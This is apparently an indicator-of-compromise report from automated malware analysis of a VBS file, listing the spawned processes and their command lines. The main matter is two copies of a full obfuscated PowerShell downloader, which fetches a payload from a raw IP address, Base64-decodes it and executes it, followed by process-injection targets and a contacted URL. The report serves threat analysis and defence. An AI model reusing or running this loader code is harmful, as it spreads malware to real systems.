IOC Report
FTG_PD_04024024001.vbs

FTG_PD_04024024001.vbs

ASCII text, with CRLF line terminators

initial sample

C:\Windows\System32\wscript.exe

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FTG_PD_04024024001.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Hovedafbryderes = 1;$Dives='Substrin';$Dives+='g';Function Rumper($Ninox){$Tomatillo=$Ninox.Length-$Hovedafbryderes;For($Skumle=1; $Skumle -lt $Tomatillo; $Skumle+=(2)){$Tiredly+=$Ninox.$Dives.Invoke($Skumle, $Hovedafbryderes);}$Tiredly;}function Funmaker($Fedtsyrers){. ($inclosers) ($Fedtsyrers);}$Wacky=Rumper 'BM o,z iTlnl a / 5 . 0 ( W i,n d oHw.sI UN,T 1.0P. 0S;S WNi nC6,4,;D Sx 6,4T; r,vL: 1N2I1J. 0.). VG.e.cFkCoS/ 2 0,1S0F0 1I0r1E LF,iIr.e fSo.x /R1.2L1 . 0 ';$Sials=Rumper 'TUBsNe,r -LA.gPe n tU ';$Mucormycosis=Rumper ' hRt t,pt: /./.8O7T..1 2L1...1.0i5C..1 6s3A/,S.t eSr.ePoSt,y,pLeOr iun gIe n,sB7 2 .,x,sEnL ';$lecideiform=Rumper 'G>U ';$inclosers=Rumper ' i e,xS ';$Salrs227='Revanchister';Funmaker (Rumper ',SMeOt -,C.o,nZt eSn tF -.P.aUtPh UTG:B\aDSi,b r oOm,o b e n zPe n eC.Ft,x t - VAaPl uLe $JSPa lUrKs 2 2 7T;s ');Funmaker (Rumper 'pi,f, G(,t eBs.t -RpAaDtSh. TTP:c\RD iUb,r oGmSoFbAe.nPz eSn,eE. tTx,t,) {DeWx i tD}C;, ');$Southrons = Rumper 'Te.cMhOo. ,%Ba,p,p d aKtWaD%I\HA.r g,eSaRnA.OM e nC t&s&D eHc hKo $ ';Funmaker (Rumper 'S$Cg.l.oAb,a l.:.U m oBtLi vSeSr eVd eBs =K(,ctmFdF / c ,$ S oSu tkh.rPoCn,s )U ');Funmaker (Rumper 'F$ gNl.oUbTaKl :GDse,f iTl.e.sV1 2 2S= $UMMuIcSoFrPm,y cSo,s,iUsp.As p.l i tE(,$ l eTcXiLd eGiBfFo.r mT)M ');$Mucormycosis=$Defiles122[0];Funmaker (Rumper ' $.gFl oDbSaSl : GGrRa,a,l i g sPt eE=GN.efwk-.O,b.j eCcJtW HSSy sNt e.mE.XN e,tG.DW,enbNC l,iLe.nOtF ');Funmaker (Rumper 'S$tGDrSa aRl.i.gEs.tfe...H e aAdSe.r s [ $CS.i aSlBsS]A= $HWSaLcckSy ');$Folkekongressen=Rumper 'uGpr aAaAl.i gTsHtde..aD,oSw,n l oRa.dKF,i lMeS(H$.MBuUc,oFrKmPyEcroPs,i sR,C$Sa fGm,n.sUtMrKeUnRd.ems ) ';$Folkekongressen=$Umotiveredes[1]+$Folkekongressen;$afmnstrendes=$Umotiveredes[0];Funmaker (Rumper ' $ g,l ofbHaWl :.f rSi.t nLkSeRr i =K(MTNe s tQ-KP,aSt,h T$FaTfGm nGs.tGrzeMn dSeMs )P ');while (!$fritnkeri) {Funmaker (Rumper ' $Dg.l o bEa,lP:SP.aRr kJe,rHiHn gJsFsGkUiTv e.n,=C$ t r,uRe, ') ;Funmaker $Folkekongressen;Funmaker (Rumper 'TSNtKaLrst -GSSl eFeNpG S4A ');Funmaker (Rumper 'R$SgAlBoPb.aClE:Cf.rkiTt nTk eOr iR=E(NT,eUsFtF-,P ast.hA $.aCf mPnCs t rCe nGdIe,sE)H ') ;Funmaker (Rumper ' $Ug.lMoSbHa lS: B,oDl dDgBa dSe n = $,g l.oHbFaDlU:UB,rPu,nZk uBl s,l eBj eRtB+H+K% $DDOelf,i l e.s 1P2S2 .Rc o,u nMt ') ;$Mucormycosis=$Defiles122[$Boldgaden];}Funmaker (Rumper ' $.gOlPoDb.aNl :UFVrSe,mLaDdUsWt r b e n d e,sR =B KG e tN- C.oPnZt enn.tS .$Oa,f mTnZs,t,r.eEnAdIe sS ');Funmaker (Rumper 'D$SgCl.oGbMaAlS:APShHi l o,nCi cS K=A [SS yTsTtMe.mE. CIo n.vSe,r,t,] :B: FFrSo,m B aSs.e 6,4BS tDrOiHnAg (,$SF rAeUm aFdMs t r,bAe n dKeksR)M ');Funmaker (Rumper 'E$TgJlPo bAaBl.:TBAs,sCeTlIb,e t s, .=K [ S,y.sCt e,m . T ePxIt . E n cIoDdSi,nAgO] :P:MA S C,IDIS.VG.e tHS.tRr i nMgF(c$MP hTi l,o n.i,cE) ');Funmaker (Rumper 'M$Eg,lSoPb aal :CLKaBr.y.npgRoOtRoGmFeF=R$,B,s sPeAlPbSe tRsD.Ds uQbMsTt r.iSnMgS(S2.7 7 8 2R2H, 2 6 6,5P1U)V ');Funmaker $Laryngotome;"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Hovedafbryderes = 1;$Dives='Substrin';$Dives+='g';Function Rumper($Ninox){$Tomatillo=$Ninox.Length-$Hovedafbryderes;For($Skumle=1; $Skumle -lt $Tomatillo; $Skumle+=(2)){$Tiredly+=$Ninox.$Dives.Invoke($Skumle, $Hovedafbryderes);}$Tiredly;}function Funmaker($Fedtsyrers){. ($inclosers) ($Fedtsyrers);}$Wacky=Rumper 'BM o,z iTlnl a / 5 . 0 ( W i,n d oHw.sI UN,T 1.0P. 0S;S WNi nC6,4,;D Sx 6,4T; r,vL: 1N2I1J. 0.). VG.e.cFkCoS/ 2 0,1S0F0 1I0r1E LF,iIr.e fSo.x /R1.2L1 . 0 ';$Sials=Rumper 'TUBsNe,r -LA.gPe n tU ';$Mucormycosis=Rumper ' hRt t,pt: /./.8O7T..1 2L1...1.0i5C..1 6s3A/,S.t eSr.ePoSt,y,pLeOr iun gIe n,sB7 2 .,x,sEnL ';$lecideiform=Rumper 'G>U ';$inclosers=Rumper ' i e,xS ';$Salrs227='Revanchister';Funmaker (Rumper ',SMeOt -,C.o,nZt eSn tF -.P.aUtPh UTG:B\aDSi,b r oOm,o b e n zPe n eC.Ft,x t - VAaPl uLe $JSPa lUrKs 2 2 7T;s ');Funmaker (Rumper 'pi,f, G(,t eBs.t -RpAaDtSh. TTP:c\RD iUb,r oGmSoFbAe.nPz eSn,eE. tTx,t,) {DeWx i tD}C;, ');$Southrons = Rumper 'Te.cMhOo. ,%Ba,p,p d aKtWaD%I\HA.r g,eSaRnA.OM e nC t&s&D eHc hKo $ ';Funmaker (Rumper 'S$Cg.l.oAb,a l.:.U m oBtLi vSeSr eVd eBs =K(,ctmFdF / c ,$ S oSu tkh.rPoCn,s )U ');Funmaker (Rumper 'F$ gNl.oUbTaKl :GDse,f iTl.e.sV1 2 2S= $UMMuIcSoFrPm,y cSo,s,iUsp.As p.l i tE(,$ l eTcXiLd eGiBfFo.r mT)M ');$Mucormycosis=$Defiles122[0];Funmaker (Rumper ' $.gFl oDbSaSl : GGrRa,a,l i g sPt eE=GN.efwk-.O,b.j eCcJtW HSSy sNt e.mE.XN e,tG.DW,enbNC l,iLe.nOtF ');Funmaker (Rumper 'S$tGDrSa aRl.i.gEs.tfe...H e aAdSe.r s [ $CS.i aSlBsS]A= $HWSaLcckSy ');$Folkekongressen=Rumper 'uGpr aAaAl.i gTsHtde..aD,oSw,n l oRa.dKF,i lMeS(H$.MBuUc,oFrKmPyEcroPs,i sR,C$Sa fGm,n.sUtMrKeUnRd.ems ) ';$Folkekongressen=$Umotiveredes[1]+$Folkekongressen;$afmnstrendes=$Umotiveredes[0];Funmaker (Rumper ' $ g,l ofbHaWl :.f rSi.t nLkSeRr i =K(MTNe s tQ-KP,aSt,h T$FaTfGm nGs.tGrzeMn dSeMs )P ');while (!$fritnkeri) {Funmaker (Rumper ' $Dg.l o bEa,lP:SP.aRr kJe,rHiHn gJsFsGkUiTv e.n,=C$ t r,uRe, ') ;Funmaker $Folkekongressen;Funmaker (Rumper 'TSNtKaLrst -GSSl eFeNpG S4A ');Funmaker (Rumper 'R$SgAlBoPb.aClE:Cf.rkiTt nTk eOr iR=E(NT,eUsFtF-,P ast.hA $.aCf mPnCs t rCe nGdIe,sE)H ') ;Funmaker (Rumper ' $Ug.lMoSbHa lS: B,oDl dDgBa dSe n = $,g l.oHbFaDlU:UB,rPu,nZk uBl s,l eBj eRtB+H+K% $DDOelf,i l e.s 1P2S2 .Rc o,u nMt ') ;$Mucormycosis=$Defiles122[$Boldgaden];}Funmaker (Rumper ' $.gOlPoDb.aNl :UFVrSe,mLaDdUsWt r b e n d e,sR =B KG e tN- C.oPnZt enn.tS .$Oa,f mTnZs,t,r.eEnAdIe sS ');Funmaker (Rumper 'D$SgCl.oGbMaAlS:APShHi l o,nCi cS K=A [SS yTsTtMe.mE. CIo n.vSe,r,t,] :B: FFrSo,m B aSs.e 6,4BS tDrOiHnAg (,$SF rAeUm aFdMs t r,bAe n dKeksR)M ');Funmaker (Rumper 'E$TgJlPo bAaBl.:TBAs,sCeTlIb,e t s, .=K [ S,y.sCt e,m . T ePxIt . E n cIoDdSi,nAgO] :P:MA S C,IDIS.VG.e tHS.tRr i nMgF(c$MP hTi l,o n.i,cE) ');Funmaker (Rumper 'M$Eg,lSoPb aal :CLKaBr.y.npgRoOtRoGmFeF=R$,B,s sPeAlPbSe tRsD.Ds uQbMsTt r.iSnMgS(S2.7 7 8 2R2H, 2 6 6,5P1U)V ');Funmaker $Laryngotome;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Argean.Men && echo $"

C:\Program Files (x86)\Windows Mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Program Files (x86)\ejTYeDcBNvUlylNsyvzxEosVlgcdZZlVBBnEZZgWWxLbMTDUaVwwWn\lgoTSqyYpvNuVXUkRnDp.exe

"C:\Program Files (x86)\ejTYeDcBNvUlylNsyvzxEosVlgcdZZlVBBnEZZgWWxLbMTDUaVwwWn\lgoTSqyYpvNuVXUkRnDp.exe"

C:\Windows\SysWOW64\AtBroker.exe

"C:\Windows\SysWOW64\AtBroker.exe"

C:\Program Files (x86)\Windows Mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\Firefox.exe"

C:\Program Files (x86)\Windows Mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

http://pesterbdd.com/images/Pester.png

unknown